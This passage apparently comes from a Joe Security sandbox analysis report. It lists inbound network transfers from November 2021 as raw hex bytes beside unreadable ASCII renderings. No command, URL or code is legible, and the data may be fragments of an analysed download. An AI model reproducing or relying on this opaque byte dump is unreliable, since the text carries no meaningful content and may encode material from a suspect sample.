35 0a bc 79 f1 e2 fd d1 f1 87 a3 d7 cf 1b 85 a4 a6 ad 8e b9 f2 35 df f9 e1 e8 c7 37 3f 6f 63 76 59 eb fe cc fb e3 c3 77 c7 dd 
1f d2 d0 de 3d 50 92 8f f7 c7 5a a4 bb 5a fc b7 63 e7 f5 df ca f1 64 b5 90 eb 9d 13 95 28 71 b5 f8 5b 4e 0c 37 02 5e 22 55 
3d 20 fd 90 ee 73 90 04 f2 42 3f 71 2d 6c ef 
Data Ascii: 8A)4&:=oem\skz*v.5MGr@FZ_d>n5.SW4USd=u\(WO;L8),A!ZdyWs('o5 J1?V5y57?ocvYw=PZZcd(q[N7^"U= 
sB?q-l

2021-11-25 16:27:48 UTC 825 IN Data Raw: 5d 39 cf cf 86 93 f7 a5 3c d0 f7 00 6f 0b b8 e3 2f 81 f7 12 ef 8f e9 68 fa 16 93 ff f8 db 03 5a 83 d9 c1 3e 23 11 
29 05 a8 27 15 18 98 f5 34 60 6a 0f 81 5d f3 82 7e e6 44 03 bd ac b5 66 f4 8c 32 0e 0a 86 8d 31 88 08 fb 0c 9e f0 f8 5b da 
e9 38 ee 88 84 fe 56 a3 75 03 44 30 63 44 56 5f 04 11 00 9d 75 b1 e6 ae 29 c5 31 0f 16 c2 6c 10 7d 5e 8b 81 4c 36 5a 95 
8b 2b 62 a4 82 e2 e2 95 52 ac 06 f1 49 00 c3 0a fa e7 d0 58 bf d0 ef 8a cd 5c 8c fa 75 5e 56 59 f3 79 64 cd 65 fc f4 0b 5a 
3f 57 74 28 b5 5e e4 16 25 ad f5 8e 48 da f2 aa 6e 25 af 88 a4 68 25 d6 62 0e 42 a4 ca 32 ab 3b 1a 50 6b 73 11 37 5d 85 
01 dc b0 e4 1a 8f c0 75 e8 c9 a2 43 16 f7 bd 66 c6 f0 fd 65 96 d5 7d 39 c4 29 a7 fb e5 1c e8 71 3d af 54 c0 85 de d7 f9 7a 
d3 f7 0e f8 0a fd 2f b5 19 4f d7 5b 2c 98 
Data Ascii: ]9<o/hZ>#)'4`j]~Df21[8VuD0cDV_u)1l}^L6Z+bRIX\u^VYydeZ?Wt(^%Hn%h%bB2;Pks7]uCfe}9)q=Tz/O[,

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 826 IN Data Raw: 3f 1c 3e fb 2f f9 e0 5f e2 e7 d4 b9 e3 a3 c9 b7 7f de c6 cf de bf 9f dc b2 99 c1 cb e3 97 6f 5e e3 8b 0e a8 2e 84 
9e 7b 21 b1 dc 03 d9 de c7 e6 cd 11 bd c1 65 12 1f be 7e f9 ea d0 14 35 c2 fc 66 49 a3 69 30 05 8d 6d c3 a4 56 38 be 1c 
fb ce 79 f1 e1 0d f5 eb e5 6b ef fd 1b d6 b3 e9 5c dc 66 f3 5e 2c c2 dc 57 1f 9e ff f4 ee b0 9d e7 b9 42 27 76 9b ff e1 ed 8f 
87 bf 42 1f 4d 03 43 99 4d 47 de 12 c5 f5 9e c3 ba ba 99 dd 7a 4d d6 ce 6a 5f 1f be f2 2b 84 00 cf cb 71 fc f2 d5 cb d7 ff e9 
e5 39 ce 41 98 bd 50 ab d6 ff f2 cb 77 47 cf da 9f 36 02 31 5a fc af 8e 9e d3 b2 bc fd bc 99 78 d1 8a be 03 c8 3e ae 3b b1 
9b c5 cb bc 68 84 32 8a 37 ab ae 74 16 c9 b8 75 7d ff 9d ad 6b b3 6a d4 f5 fd 9f a5 ae d5 a2 2b bd 55 d7 fe e3 ff b0 95 ad 
16 8d ca f6 1f ff 45 6a 5b 5e 74 
Data Ascii: ?>/_o^.{!e~5fIi0mV8yk\f^,WB'vBMCMGzMj_+q9APwG61Zx>;h27tu}kj+UEj[^t

2021-11-25 16:27:48 UTC 827 IN Data Raw: 8d a8 29 4d f3 7c 39 e3 d5 b1 a1 08 39 86 80 95 c8 68 74 32 c1 a4 10 4e 31 b4 83 16 1d a9 54 e7 c8 df 2c 88 
15 fb c5 b5 9d 94 ea 74 5a 78 f1 32 2a 7c 83 cb 88 f1 fb 53 fd 5a 1e f7 f6 e1 7a 42 bb d8 38 3b 10 d9 b0 98 0a 94 a7 b1 45 
54 e1 49 ac e7 15 96 2d 31 32 72 0c 05 fb e3 f1 9f 02 3e a3 86 a5 8a d6 32 f5 5a 81 d0 35 a1 ee 6b 79 4d b4 c2 12 98 53 
ca 2b bf 0b e6 bc 31 30 49 11 37 06 30 a9 89 f7 30 8d 4e 4a 84 e7 f5 c4 a1 ee 36 71 d7 34 9d e9 f0 c4 f3 86 f3 55 ba f9 38 
2b 92 72 42 2b f4 1e 2f 2a e5 89 b0 a2 dc 1d e8 09 ce 5b 0e 35 f9 54 fb dd e3 df 87 ec cf 20 1e 57 38 17 dd 0d 0d 4e a5 09
64 6c 1d aa 4a 1d 93 5a 9c 03 60 a0 22 0a 14 d7 4b 8f ed a0 ba 72 ed 74 f4 74 77 17 b2 5d e5 2b f3 9a e5 7a 8d 04 6d 06 
cd 0e 5e 6c a9 41 c3 8b 4d 3c fd 03 9b c5 dd 1a 
Data Ascii: )M|99ht2N1T,tZx2*|SZzB8;ETI-12r>2Z5kyMS+10I700NJ6q4U8+rB+/*[5T W8NdlJZ`"Krttw]+zm^lAM<

2021-11-25 16:27:48 UTC 829 IN Data Raw: c9 66 ec 0e 5d 12 fc c4 cc 00 30 ac 20 f6 19 60 ea 06 0f 89 30 79 c8 96 31 f2 1d 4a d8 df 3e 1c 05 f1 49 19 0b 
11 4b 24 35 83 5b c0 4f df a1 d8 e9 74 77 11 0a 16 4e 77 9b 7b 28 b2 32 34 22 b1 8c 31 d9 b4 3e 28 a6 b5 40 7e c0 ca c4 
5d 4b 8e 79 0b a3 2d e9 79 a7 6c de 24 4b 18 ed 7a d6 ba 43 a6 de 87 8b 44 02 19 ab 0f 17 07 e5 b4 a0 0f ab c1 cb 4e 8a 
53 89 29 6a 0a 08 3e 45 ee 10 ec ba 6c 75 40 f7 33 95 65 fa 6c 11 9e b8 79 4e aa 53 8b 0b 52 a3 71 1c 39 04 37 1d 48 56 
91 cc a7 4b 75 95 e4 99 b3 26 d5 fd 5f 25 95 48 8b 1c 69 15 6d e7 7c c3 2a b3 1f 72 16 b0 6e 1a b8 89 ac 29 28 55 e5 4a 
54 fc 53 b1 d0 22 6c a6 39 15 81 d8 d0 e1 88 1f 0e c6 1c 1a 1e a8 71 bc 0c 15 8a ce f0 ef a4 30 f7 17 9c ca 7a 2e de 73 
e3 75 16 43 62 ac b4 83 74 c5 96 e2 d0 c5 02 55 35 3c 
Data Ascii: f]0 `0y1J>IK$5[OtwNw{(24"1>(@~]Ky-yl$KzCDNS)j>Elu@3elyNSRq97HVKu&_%Him|*rn)(UJTS"l9q0z.s
uCbtU5<

2021-11-25 16:27:48 UTC 830 IN Data Raw: 9e 6f e2 0d 8d 5a f6 cb 84 95 e7 ac b4 0a f7 c7 e3 6f 0c 60 dd e8 3b 9a 57 d6 1c 3d 5a c8 df 28 7a 04 04 29 2e 
f7 eb fd e5 44 17 44 05 e5 87 94 dc 6e 1b 2d 1b 9b 36 8d 75 6b 00 5c 28 f5 8f be db 3a 13 fb df 65 b9 3a 2e c5 dc bb c7 40 
c5 c5 83 2c 7a f0 20 07 fa db 00 85 d4 0f bf f2 c3 78 10 0d f8 d3 94 49 1a b3 8d d5 af 5f b7 83 28 88 c2 f9 a8 6f 9d 71 43 dc
75 f8 1e 7e 9b ff d7 db fb 55 6d aa 4b 3a fa 5b 84 48 99 dc da fb da b2 69 59 9b 37 de 69 30 c4 59 04 d2 7b 7c 90 30 b4 f3 
80 c8 ed 81 20 67 2b 6c 55 5e 2a 03 99 f7 c1 e7 c1 cd c0 58 55 f3 2f f5 c2 58 68 f3 2f a5 3a 74 22 92 46 cc 4e 8b 35 e2 94 
31 23 94 d5 5d ad ec e8 1c 13 ff 49 11 8e e3 e6 e1 00 00 48 1b c7 d7 f1 28 68 e6 66 3c c5 9e cc ca bd a0 ab 88 f2 46 68 
94 3c 27 92 7b c8 f8 23 93 f2 c4 79 a2 
Data Ascii: oZo`;W=Z(z).DDn-6uk\(:e:.@,z xI_(oqCu~UmK:[HiY7i0Y{|0 g+lU^*XU/Xh/:t"FN51#]IH(hf<Fh<'{#y

2021-11-25 16:27:48 UTC 831 IN Data Raw: b3 71 41 ee 5d cf c7 54 d7 75 ae 3d 5a 51 52 c6 c8 a5 7a 8a 69 0f 6b 27 af 2a 5c 27 8d 46 dc dd 6d 64 d2 c7 
07 36 33 27 fa bd 84 22 65 67 67 63 f6 1b f4 39 1b 77 f7 c4 c7 34 f0 70 b7 90 50 87 62 cd 43 fc 41 34 bd e1 19 e1 64 04 8f 
c8 ed 49 75 2b f8 b9 97 82 12 1b b3 4c b0 6d 4c 0c 29 7c db 7a 8d 96 e0 d1 ee ee 11 cd e4 03 4d 7f c5 47 49 e5 1e 7d 47 
0a 02 5c ad d4 2c 39 e7 79 c7 7a 7d e0 ae d7 07 b4 26 61 e9 f0 c0 5c 5a 00 c9 f0 e9 35 ee dd 7e 14 ef ac f4 4a a6 45 34 
fd 14 2e 3b 82 3e e0 12 80 45 c2 c9 fe e9 74 ae 56 ed 21 dd 94 cc ab c6 67 76 38 b2 36 e8 88 ec 82 22 b9 6c cb 27 6b ec 
8e eb b0 38 59 76 7b e9 9f c2 00 4e bd ef f0 b6 3f 85 55 5a bb b8 ec 2e 38 20 b7 cb ea 77 d3 fc 1b 0b 71 e8 e7 79 c9 9e 
cc f4 e3 19 ec cf 29 b3 00 20 ee 2b 07 0f 73 68 e5 71 
Data Ascii: qA]Tu=ZQRzik'*\'Fmd63'"eggc9w4pPbCA4dIu+LmL)|zMGI}G\,9yz}&a\Z5~JE4.;>EtV!gv86"l'k8Yv{N?UZ.8 wqy) 
+shq

2021-11-25 16:27:48 UTC 832 IN Data Raw: bd f2 9b 32 7a ca f9 fa 0f 0a d3 9b e6 8a 51 c3 a1 a7 36 f4 97 c6 a2 4a 2f bc a5 91 17 ce d2 b8 24 b2 f4 77 b8 
1e 2c e1 47 27 9f 78 75 05 fc e1 65 4e 57 01 11 8b bc 02 68 36 9b fe 8a b9 de d2 34 e0 ce 8d 27 de a9 fa 56 8b bd 27 22 
78 ed f7 66 c1 3a 2d d8 91 16 7f 3f cb 4e 78 06 8b 52 ef 53 ba 73 de 47 c0 61 f9 15 b7 f3 74 2e 5d ad 7b ea 5c b4 74 e8 37
c7 b9 63 59 18 7b ca af 5f 1e ee ea c3 74 28 03 ea 99 b7 8a 9f d3 0b 7c 0e a6 fe a1 b7 68 f4 92 70 c6 2e 2c 84 ab 4e cf 20 
b3 d3 07 f2 2f 6a 0d 35 8e 64 3b e1 71 47 a1 5f bf 54 e8 9b 8e d7 cd 85 12 4d ba 5b f4 c5 ca bb 5a f4 c5 6e 7c 55 8b e2 62
16 76 8f 7b b2 86 b8 e5 42 e3 88 b4 de ab f9 ea 3c 5e 90 4d c2 e7 f4 15 8e 26 65 63 c3 46 ec 8c e7 4d f2 24 73 82 d7 75 
af ce 7c 03 79 bb 88 13 fe f5 b6 f6 37 13 26 
Data Ascii: 2zQ6J/$w,G'xueNWh64'V'"xf:-?NxRSsGat.]{\t7cY{_t(|hp.,N /j5d;qG_TM[Zn|Ubv{B<^M&ecFM$su|y7&

2021-11-25 16:27:48 UTC 834 IN Data Raw: 1a c6 93 1e ac d7 0c 8a 14 32 b8 20 12 22 33 74 8d 37 74 c6 e9 81 57 6f 68 44 23 33 01 26 ed 26 fa 77 0d 6e 
2c 51 ec 28 41 7e a8 e7 8d 49 80 87 18 14 5c 8b 63 7d cb 79 cf 77 77 42 46 40 d0 f1 15 38 5d 51 13 a6 0b 94 a6 00 74 65 
1c 5a 98 61 4f 3e c7 58 3e fa af ed a1 e9 9a d3 23 db 13 d3 85 ce 26 46 93 ce a9 7d 76 45 24 c6 ca 9d 5b 27 e5 de c9 95 
d6 d2 2e bd af f3 4e 65 ba f3 7e fd d2 fb db ed d7 6f 53 bd 01 1a 5c 5b 19 39 e2 3d 65 be ec 48 e1 4c 8a 92 a3 99 67 91 
8b 99 47 66 c2 6d 71 25 61 56 09 9b 2f 8b 8f 8d ac 43 13 12 da 60 58 61 00 88 7c ce 12 85 44 63 88 c3 b6 39 6e 4f 0c a3 
79 0a bb ee a9 cb 6b 9a da 31 01 fa 9c b4 e7 d6 ad 92 3d ab 37 b0 59 69 4a 06 27 85 ce 23 23 21 8a ee 6d bc 6a 8b 07 
bb 25 38 aa b0 c8 f7 d8 c4 3a bb 4f f2 e2 ca 7e ba 92 19 05 
Data Ascii: 2 "3t7tWohD#3&&wn,Q(A~I\c}ywwBF@8]QteZaO>X>#&F}vE$['.Ne~oS\[9=eHLgGfmq%aV/C`Xa|Dc9nOyk1=
7YiJ'##!mj%8:O~

2021-11-25 16:27:48 UTC 835 IN Data Raw: 63 86 d0 a6 4a 02 a3 78 b1 2a 94 d9 03 62 13 6d a1 53 46 b4 14 ae 81 0d fd 16 76 2a 36 2e 1b 68 e1 1b 80 29 
9e 2c e2 92 0e 2c dc ce 70 cd eb b8 0b b7 c0 6c 2f c0 70 39 2a aa 55 7c 45 4b 79 1d 5f d2 34 16 f1 79 7c 01 10 a7 3e af 
ca 79 9c c3 4d a0 c2 3f 69 62 61 26 e7 62 21 de 83 63 b6 08 cd 16 13 46 12 e8 a4 fa a8 98 5d 8d b4 37 6e 34 b9 82 2b 2c 
5d 85 53 fb 9e d1 74 8a 16 60 93 88 85 2b b3 5c 81 83 c6 28 27 d8 e9 36 3c 90 54 c8 6e be 5a a8 db 87 fd 54 cb 5c b7 b1 
a1 52 f1 6f 80 67 af 72 e9 ee 58 06 b4 19 8d e3 b6 6f 04 bf e6 25 97 9b bb 84 d8 e0 7d 76 4b d7 6d cc a5 7e 76 2e 5c 64 
44 df 11 6d af dd d4 ef f9 a0 8b f9 cb 37 d1 ee 2e 7a 1a b3 27 64 ab a2 6d cc 27 a3 63 52 e3 f0 a8 c0 a5 57 f8 50 70 3c 23 
76 7b 26 03 97 aa 0d 03 e4 4b 80 37 e0 17 06 3a 83 29 
Data Ascii: cJx*bmSFv*6.h),,pl/p9*U|EKy_4y|>yM?iba&b!cF]7n4+,]St`+\('6<TnZT\RogrXo%}vKm~v.\dDm7.z'dm
'cRWPp<#v{&K7:)

2021-11-25 16:27:48 UTC 836 IN Data Raw: 89 28 5b 19 35 17 bf d6 e9 3c 1b a6 8c 68 67 1e cf b2 fa 53 96 a1 9a 57 5f 55 cd 69 7c 9c dc 2a 1c 15 68 d1 19 
e6 91 d5 15 08 4c b5 85 1b 7c 9f fa 8e ce 1e 96 38 9f 04 c5 05 7c 7a 2f 93 47 7f 0f c3 d9 e4 f3 dd 22 ad d3 e8 64 f2 db f0 
c3 69 f4 28 8f cf 69 00 e5 69 2f 1c 45 18 b5 0b 6a 9b 2e 1e 9c 2f 81 8e c4 7f 86 65 b5 e0 46 ca 03 c7 be 0b 62 95 75 98 2e 
f3 0b f4 ec 0c 28 fa 22 2f be 14 f9 b1 ca b0 4e 17 0b 91 62 ab 84 15 91 b3 79 21 3a 48 2d c5 e1 51 f9 0c c9 df 45 3d e4 bf 
9b 95 3c f0 df d5 42 1e f8 ef f2 42 1e f8 ef 67 cc 28 4f bc eb 57 ed 83 5b 5e 74 e0 1e 14 b3 6c 2f 18 06 7b c5 24 9b ae b5 
dd 21 6d 96 bf 82 b4 37 d9 2b 7d 20 9e b8 72 7a cf a5 5c b9 9c f7 9c a3 cb 24 43 10 79 58 8c c7 b7 50 fa 57 f9 bc 9e 04 
87 41 ac 28 a8 4e 6f 0a 55 f8 58 63 e9 d0 
Data Ascii: ([5<hgSW_Ui|*hL|8|z/G"di(ii/Ej./eFbu.("/Nby!:H-QE=<BBg(OW[^tl/{$!m7+} rz\$CyXPWA(NoUXc

2021-11-25 16:27:48 UTC 838 IN Data Raw: 4b e8 32 20 79 2e 12 9d 7d d4 80 53 4a 23 4c 9a 0e cc c7 fd a6 d0 25 c4 12 e0 7d 60 5d 4c 80 f7 29 5f 02 85 0f 
b3 49 73 63 e2 cc f9 c4 7b 85 91 b9 af 9f a5 73 df eb f7 52 e2 50 58 5a 4f 23 b3 d2 bd 9e 96 62 45 6c 71 bc 74 50 72 f3 8a 
9b 23 95 eb 0c 00 c9 3b 1c 96 3c 3a 6e 69 3e 99 fa ff b9 0e d4 cf 73 b7 71 7b 3c be 03 93 32 b6 0c 12 31 33 b6 61 ae 97 
cc d5 a3 da 90 49 2a de 11 d8 55 fa 70 29 d9 af 2c 77 02 14 f4 e3 a3 b2 9f 55 b6 fb 7c 85 74 a4 7b 2b 73 a4 32 26 e4 93 
e6 2f e7 1d 9d b0 9a 87 c4 09 44 da 58 a4 8f 78 cc 09 22 0b 9e cb b7 91 3d 36 cd f9 20 49 00 a0 6f f3 41 00 de 0f dd 5d a7
b7 86 50 0c f0 a6 c5 78 ac c0 3c 46 cf fc f3 63 9a 5b 60 a8 53 80 a8 af 29 7c 2f 86 8e 9f b8 a9 72 68 7b 1d e3 5d 8a 82 38 
09 57 34 a0 d5 00 e3 7e 85 16 d0 99 36 c1 14 
Data Ascii: K2 y.}SJ#L%}`]L)_Isc{sRPXZO#bElqtPr#;<:ni>sq{<213aI*Up),wU|t{+s2&/DXx"=6 IoA]Px<Fc[`S)|/rh{]8W4~6

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 100 of 214



2021-11-25 16:27:48 UTC 839 IN Data Raw: 1d 2a c1 de 0f f2 f3 3d 5a 97 de 1f 74 fb c1 7f 4d 26 6c c4 e0 55 af cb 9f c6 59 b6 1b c4 bb f4 c4 26 27 e9 49 1a 
c4 7b fc e9 e0 68 ef 68 2f 88 f7 c5 b7 83 bd 83 6e 10 1f f0 7a fb fb 7b 7b 87 41 7c 28 4a ee 9d ec 1d 04 f1 11 3d 65 7b bb 
93 dd 49 10 1f d3 d3 f8 70 f7 78 f7 38 88 4f e8 69 74 d4 1b f7 c6 41 7c 26 bb 3f 4e 8f a1 d1 b3 5d f1 78 b0 7b 00 a3 39 db 
17 8f bd a3 fd 7d 78 14 ed 42 d7 dd 2e 9a 50 14 d5 1c 16 40 b8 1e 8a 7d 30 e5 d1 1e d5 c7 74 fe 0b 7d 59 f4 83 83 6e 0b 
ba 6b 41 1f 2d 98 59 0b fb d6 05 81 df 2c 8b eb d7 58 5b 96 87 de 5b d0 57 0b 26 d7 3a c2 0a 58 13 c7 d4 c2 91 04 ab 78 
86 f2 34 01 ce 31 db 67 63 05 ce e3 d1 28 eb 4a 70 4e f6 8f 27 a3 9e 04 e7 a4 7b b8 7b b2 ab c0 39 de ef 1e a5 12 9c ec 
a4 c7 0e f7 24 38 b3 e3 de e8 b0 2b c1 39 de 
Data Ascii: *=ZtM&lUY&'I{hh/nz{{A|(J=e{Ipx8OitA|&?N]x{9}xB.P@}0t}YnkA-Y,X[[W&:Xx41gc(JpN'{{9$8+9

2021-11-25 16:27:48 UTC 840 IN Data Raw: 59 3a 19 ed ef aa 53 7b c2 4e b2 dd 7d c5 8c c0 cd 81 f3 96 cc 08 1c 53 e2 3e 44 ff 40 cd ec 6b 66 64 8c 30 eb 
6a 3a 1a b0 70 33 6f b7 06 66 0f c1 8a c3 e8 0b 43 79 a8 e2 80 27 99 01 25 58 59 c4 66 92 65 82 85 cd 14 cb 86 1c a8 22 
54 00 09 b1 83 63 c5 01 03 4a da 1b 49 28 4d b2 ec 58 73 c0 13 20 07 77 33 09 25 60 aa 8f 77 0f 24 94 26 07 47 13 13 4a 
f0 df 71 66 b0 6c 02 2c aa cb d4 80 12 0c fc f0 01 28 ad e2 14 c3 26 e9 a9 1e b3 9e 9e 2a 83 03 a0 a7 ca ba c7 bb 7a aa 
d9 01 72 92 b2 df 71 ba 6b 4c 75 
Data Ascii: Y:S{N}S>D@kfd0j:p3ofCy'%XYfe"TcJI(MXs w3%`w$&GJqfl,(&*zrqkLu

2021-11-25 16:27:48 UTC 840 IN Data Raw: dc eb 2a 66 60 32 19 ed 75 15 77 3a 99 a4 c4 94 8b a9 4e 8e 69 f8 62 aa 93 43 3e 19 d5 3d cc dd 98 6a 76 b4 
6f 4e 75 bc 6f 4d 35 1d 3d 38 d5 72 8e 21 94 f5 5c f7 58 d7 98 6b 77 b4 ab e7 3a 1e a3 9c 41 ce 75 74 b4 9f e9 b9 a6 47 
bb 87 7a ae 27 c7 5d 85 75 27 a3 e3 b1 31 57 e0 90 f4 5c 19 e0 55 3d 57 06 cc 8c 35 d7 ac 67 09 36 80 55 35 e7 7a d2 b3
e6 7a 98 fd ae cd ff 18 64 a1 11 05 e7 16 39 cc 14 96 1d b1 13 f3 2c 8c c7 a3 b1 06 5a 3a 3a d1 e2 8b c9 71 7a 78 a0 81 
76 d4 dd df d3 40 3b 38 da dd 55 40 db 3f e8 21 ee 3c 12 80 01 fe fa 44 02 2d 3b de df eb a9 b3 30 9a ec 1d 76 4d 69 d0 
09 b3 80 76 c8 2c a0 ed 65 06 d0 b2 6c 77 fc af 90 06 49 a2 9d 73 84 8f a5 dc 15 69 6a 10 ef a3 79 f9 59 91 00 28 65 d3 
b7 d7 11 5c 4a ea f6 1a 8d d3 34 55 f4 53 da 3b 3e 3e 52 
Data Ascii: *f`2uw:NibC>=jvoNuoM5=8r!\Xkw:AutGz']u'1W\U=W5g6U5zzd9,Z::qzxv@;8U@?!<D-;0vMiv,elwIsijyY
(e\J4US;>>R

2021-11-25 16:27:48 UTC 842 IN Data Raw: 98 35 ee b0 40 0d 70 66 89 5b 2c c1 5d cf 9f 01 13 b6 90 a6 53 15 f7 15 5a c4 1f 5f bf fa f3 b7 17 1f 5f 9c bf 3c 
fb f1 f5 c5 c7 6f 7f 3c 7f df ff 14 7f 7c 71 f6 ee 3b fb e5 66 fc f1 87 b3 d7 e7 17 17 f0 7b 16 7f bc f8 f6 fc 0d fc 4a 63 6e 18 ff 
ee 0e 81 f5 26 fe 88 57 55 ff e3 ca 89 b3 20 c3 f4 7d 69 8e 40 b7 51 a1 93 1f 45 f0 2b 84 9d 8b 27 0c 70 be 58 60 cc 35 7e 
b8 5b 7f ea 61 18 60 71 c0 5b 7f da dd 08 94 29 7d f0 a7 1e 7a d5 1a 39 d9 8d 4f bb 78 b8 b4 bd a8 19 bb 4d da 0c a6 da 
37 b3 85 bf 85 7d 3f 46 24 41 82 47 26 63 e1 b1 96 15 6e 8a 86 88 7b fa 68 c1 2c 83 8b aa 33 ba b5 75 ae 6e a1 42 a0 27 
c7 fd bf 94 58 ab ba 12 c4 0c 23 54 15 03 ba 5b f4 cd f3 43 18 70 c1 53 94 d3 71 76 22 eb 50 cc 5e 6e d0 64 22 77 1e 1f 9
a 25 14 57 c8 09 aa 4a fb 3f da c0 
Data Ascii: 5@pf[,]SZ__<o<|q;f{Jcn&WU }i@QE+'pX`5~[a`q[)}z9OxM7}?F$AG&cn{h,3unB'X#T[CpSqv"P^nd"w%WJ?

2021-11-25 16:27:48 UTC 843 IN Data Raw: bd 46 45 e4 46 80 ef 41 bb 77 ca 63 54 72 cf 07 16 93 4b c7 26 6c a5 3a e3 39 33 8e 3f a1 c3 4f 02 1d a6 8f 47 
87 e8 09 a5 2e 97 84 0d 74 32 40 19 d8 7b 50 b5 db 83 28 07 1e 80 e7 95 33 ae 96 fe 75 c3 cd c2 9a 6e 96 e5 72 d6 31 af 
57 b8 9c b6 b6 36 4c f1 d8 ad c0 f1 2e 17 d8 52 1e de 30 5e 09 0e c4 39 23 1e 7b d4 5a 2f 14 6c 85 51 9f 79 22 3c db b5 
57 a8 30 69 46 b3 e3 28 be a5 fd 40 48 ee 2e 81 1b eb 33 0f 67 6b 89 a4 70 bd 71 dc 08 4a eb e6 bd 0b 29 8a 9f 79 7e 4b 
2b fc bd 7a fd 26 cc 28 c0 f3 fd 46 cd b5 6e 63 76 19 32 cd 90 f1 d0 0a 3c 13 63 8d c2 fe b9 bc 6b 2d ee 50 e2 05 0b 9d 02 
a3 2a 28 6e 4e 51 4b 2e 1e 16 59 52 dc 3d a4 b8 77 e5 17 93 e0 16 af 90 dc de 73 c9 ed 1a 79 bd eb 90 d3 7b 36 eb 31 
73 58 0f 9c 2c 52 3a 95 76 cb 27 8c f7 f1 fb b3 37 e7 
Data Ascii: FEFAwcTrK&l:93?OG.t2@{P(3unr1W6L.R0^9#{Z/lQy"<W0iF(@H.3gkpqJ)y~K+z&(Fncv2<ck-P*(nNQK.YR=
wsy{61sX,R:v'7

2021-11-25 16:27:48 UTC 844 IN Data Raw: 5c c3 ea 79 f7 1b 2d 0c e8 f1 0c c7 c5 4e 02 14 d4 4e 02 44 d4 4e 92 47 f1 a5 1a 7c 11 f7 0e a3 58 3d 96 f6 63 
8e 8f 57 c6 36 ff 68 01 86 0d c3 7d bd 26 34 d9 73 b8 31 66 b8 5c 71 35 64 3c ed 58 1f 27 42 bf e0 25 14 0a 0a ca d0 ab af 
37 d4 11 ba 57 1e 26 8f 96 6b 3d e4 26 3e c0 f6 4a 5e 24 00 24 16 93 b0 2e 0a 78 4c 33 e7 23 c6 00 a3 f7 db 64 2e b4 1d 
05 40 b6 be eb 00 e7 7f 37 4d e7 4d 1e f2 22 90 e8 a2 83 39 1f c6 c2 a1 bf 66 a0 66 1b a4 a9 3a f9 18 b3 9c 7b 3f 7d ca 
e7 d5 5d 3a 7d c7 66 70 30 30 cd 82 21 49 60 0f c4 e6 74 c2 6e 72 57 fd 5a c2 5f 1d b0 d3 48 15 ec 26 11 86 23 bc b0 8c 
53 e2 7a 20 e7 a6 a0 03 7e d0 44 96 9c fc 4d 76 66 7c 7c 5e 61 b2 55 c1 0a 4e 59 b2 7f 1c 8f 59 72 10 df b2 e4 38 be 63 
c9 6e 3c 63 a8 31 06 d4 9d ce 33 0c 74 92 04 02 50 
Data Ascii: \y-NNDNG|X=cW6h}&4s1f\q5d<X'B%7W&k=&>J^$$.xL3#d.@7MM"9ff:{?}]:}fp00!I`tnrWZ_H&#Sz ~DMvf|
|^aUNYYr8cn<c13tP

2021-11-25 16:27:48 UTC 845 IN Data Raw: 40 ba 7d 06 82 12 e3 23 cf 5c 5b 90 6f c5 87 89 37 94 de 86 f1 5b 84 33 75 5e c4 15 c9 88 58 72 33 60 66 72 
65 43 35 69 32 21 ed 45 81 49 96 e2 0d 27 d9 18 60 00 15 6a 33 e4 96 31 8e f4 e0 1e 6b f6 19 92 3f 48 80 f6 03 0a bc 48 
ba 9f 4e 55 be 2e 3f b3 f9 f3 14 33 8e 0f b1 4c ff 06 f3 44 66 f5 fe 79 92 27 28 21 0d 2a 1e 2c 38 30 fb 2f 78 e7 05 06 83 1b 
84 9f 92 fb 5b a0 c0 fb 98 87 35 76 88 f2 be 2f ad 6b 87 d2 c7 d0 49 68 cf e9 28 e8 e8 af 71 0b bf 4a 16 ab 8d c8 cd 08 0d 
1b 89 f6 1f df b0 2c ef 6b 57 7e 43 af 9c a9 82 d5 dd 94 26 1c e7 88 44 d5 5b 7a e2 1f 68 ee 8c 18 80 98 2f 47 07 ff 89 91 
77 ed 5b a9 69 30 fb 6d 9e 7c ea dc 4d ed ec 2f 17 3c e0 6b 18 4c 73 e8 fb 53 67 d3 83 26 51 d1 21 24 69 a8 59 6d b1 a8 
16 69 ba 40 61 4d 75 59 58 29 63 50 a1 67 9a 
Data Ascii: @}#\[o7[3u^Xr3`freC5i2!EI'`j31k?HHNU.?3LDfy'(!*,80/x[5v/kIh(qJ,kW~C&D[zh/Gw[i0m|M/<kLsSg&Q!$iYmi@a
MuYX)cPg

2021-11-25 16:27:48 UTC 847 IN Data Raw: a9 6e ed 27 ce f1 0b 09 8c d8 3a 5a 32 cf a2 86 83 ff 37 b5 66 26 ab cd 91 a9 16 1f 58 69 2d 36 7e 36 13 55 88 
81 92 6c ee cf 98 d9 62 8e 78 cf ec e2 67 dd 45 68 ca 88 a0 34 9e 4b 94 15 c1 d3 c6 73 a3 ca 77 86 2f eb ac 03 54 7c 3a 
93 f9 ef 96 4b 12 5c 39 6f ed d3 6e 88 b9 74 9b 7f d6 c3 d8 70 65 bb ba d4 df ad 52 a4 12 b1 ce 9f 2e f9 57 bd db 7f d5 e7 
e9 52 9c ff 2b a3 e7 ff 56 25 2d 24 44 b6 98 62 00 4f 93 ff 31 41 f6 17 c2 82 de ab de ec 8b 5d 79 36 3e df 42 0f b0 8a 83 
4c 25 dd 0d 81 4e 6a 05 3b 35 ad 49 1c 00 97 8a 72 37 0a 9f 5f 71 7e 01 a8 1c 12 63 92 ca be b3 39 07 e6 90 91 9b 0f d2 
b5 98 93 d6 1c aa 83 b9 cc 71 c7 3f 85 24 77 e2 b9 0c b4 fe 96 85 1a 83 02 ca b4 75 07 26 d2 32 f2 c7 61 9d 9f 50 06 1d 
3b 28 7e e0 cf b3 fb 89 cc 5a 9e df c1 3d 7b 2b 
Data Ascii: n':Z27f&Xi-6~6UlbxgEh4Ksw/T|:K\9ontpeR.WR+V%-$DbO1A]y6>BL%Nj;5Ir7_q~c9q?$wu&2aP;(~Z={+

2021-11-25 16:27:48 UTC 848 IN Data Raw: 0a 9d 71 53 82 8a 3d 68 47 8d ee f8 a8 9f a8 db 50 bb f1 3b 9f 19 25 6d d3 66 6d ff dc 6c da ac cd 9f 85 59 f3 
e6 fc ec 25 fe 2b 4f 87 61 47 91 c6 59 5c c5 c2 70 38 be 53 18 56 47 f6 3c 0f b8 23 be aa 82 86 c7 d2 af cc dc af 8a 9a 53 
f6 f2 1d 9e ae 11 0d 4e 76 54 f2 49 e3 33 aa a4 e0 1b fa 5e a0 a4 3d e0 c5 e1 9a e1 22 f9 55 c5 35 b0 f4 4f 58 c6 0b f4 62 
